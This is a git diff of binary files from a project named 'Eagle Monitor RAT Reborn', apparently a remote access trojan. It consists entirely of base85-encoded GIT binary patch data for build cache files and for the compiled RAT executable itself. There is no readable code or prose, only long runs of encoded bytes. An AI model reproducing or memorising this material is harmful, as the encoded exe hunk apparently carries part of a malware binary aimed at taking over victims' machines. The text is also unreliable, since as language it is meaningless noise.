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 diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache index 520cfae1f4d8a0c4b2369eab10aa300d577db9e7..4d80ed7e724a980b445af9683cf618e266d24969 100644 GIT binary patch delta 1578 zcmYjRO;8(k6z6sLZ-Hbt*$_e!$QLwxgCT*Yg#v|?P(GzlTSZH{BnzZ$5)8qDh_-&W zIu&_3j)$rzXRH@yI(q5JalAMldhwzhsy93^&UBpd;EcZgC#3Go?)=~HegEG7?bq6a z)ZSM{;l+}Y62XDL85{6t<6{^?#TlwnH8q~gX41*{T1PUT5jhN=C*tnKlN-G*StjEu!K{$brq$u+jo#st4G~lXf92#-Y z6F{@+I6gL2LX+-}{bmC+P`boWg&r z1Co+RJb_MA3!|*35Wl-}F_TRxxnzOq-Xk2hsw6nW+uN~~za&`g!It zTNMo8Rof_>#Xfrgf3a1wLGnMXS7KUBYU-1$L*#o7B1CuqzpS>vIUeDlx(bG=#6E~p zgb_A!)CYcJH{p3lC;nx(veBcM*yE63j3Nba(_w{i8gm$baG2NxS?ELRLeW_UlN_IP znqZ2qLzpGg33UTqHGSq)B^y`sH)Xou5~^5VQ?s1e3;a6F)fixgcY3!*gxTVNf3K-z z7s)9?-F0A7tqq>Rf!Y~%iLeXk^K{{lwQjh~hwpV+*|UU?>r9~P^1^e(dH}z5IbaSS zx`yF-sxg33w+&vvEA9cff_L5hY`#!bJBl6?#AwnZaFr?u;wK(ED0CWQ3*1JJ+v+t# zTpuuMUXdjT=gi|huLLS}9>4>y%oYpw9oX)ZU@33!6JeQGaL;FhB<<4#T%!xkS3_J; zH)Fx>ll%g$a87R389>vy#GmRaAVsqaqf{?JTIb2Kpu|^-4jD?vFF1Z$Z)U3`_2}E9 z2jwK|e}eof|Lrph9Ln;gn)Zu%aZRUi*Kf*8Ih2}dcg^yy-wx}vU}2p0+u)_VQ7In! zk4wem*Lm`rC&C09*+wC`&SsgRi|5)TEYH$PgT!7YX_RJEhhH=_u`QA=6(l!`jn(WG zLMDnxvQdO>nt20RyYWGz#9k%+5b8J*7(By1A_Xr*5I&|OEdbT@Ysdn(?;nQxj{OG?&ab)v delta 1501 zcmYjQT})eL80KC0&VaV(^t7e41=<3m&;i|9DVz<)#$Xf~Y>uC8%BH2z0)^8bOL24v zPUjTO6y&|}LKbh0KbhH$3Gu>PlWp0BUM$hfTN4)-;Ap*q55yYq;*o0AxRjVnMYTX;CN0!q zKspWen32M)f$R%LPbC=+ZJURo5qrG~ekL8nn`SHcbZdNIHb4`4WmU?hW9f*NSjur% z&4djwKRM~BIE=lOD*hr{paq}F{m@$Ur&+AfhBqwdAh2y#ky&l*$i8XC%zU)q zQ$drcR?b8++VT?r@kmFDL?2sa2$DRMGo78nUz2$H79i9rb7{1H1sAHS*eS9DuZE;|Ll@rgoZ#hBvP^X3eWBw#qVS1xi-yE>GD!M zi~i~!{H@vm7kGMYH6|D>HZxmeWn-k?kB=My{IW&n%FeqyxQ1RC&CP6t6;uPW-+d>Q~r+d zctO9;1hbq$SG^tPXmdtjo@SSCfoU3`VW~|iUR9{*seR|CD(ViuzMTzMu9^azB^AEO$G5ay?R@XQbEe% z9lvi|mI-md677+SPa5rzD=3xXy6>P^47^Ov`%rFF2{y9V_k!z{EHi|7tZRf7D)f&} zWGf^M5xsg;nwnXjq)U5}8+V$j*mXiiipbwhCRn9*`$*f3!_6XlgWl&b(=v{3e+BL~ z8`v5l+8*L!>m)_EwBfI!u#|a=NzsF zD-M4^QfYWu)1ZuQj86Ig&7i!9;@3ep+{XLCTF-|BT2^03q;eOcx%qH5ogB)=lWW39 zgu7NJu=jwyG`}Wn;$_32ZHqwD>R9wzm=^wgG#OtLKF0O-6KtCvI1xcWx?bU&7DE=; KxVIkaIq)ARy^PBM diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn (x32).exe b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle Monitor RAT Reborn (x32).exe index 1e98a11b3a31c723753b1af82b3f08b5ed3f551c..d5b3148770b481af34a4581110ee852b9146b4a7 100644 GIT binary patch delta 208331 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 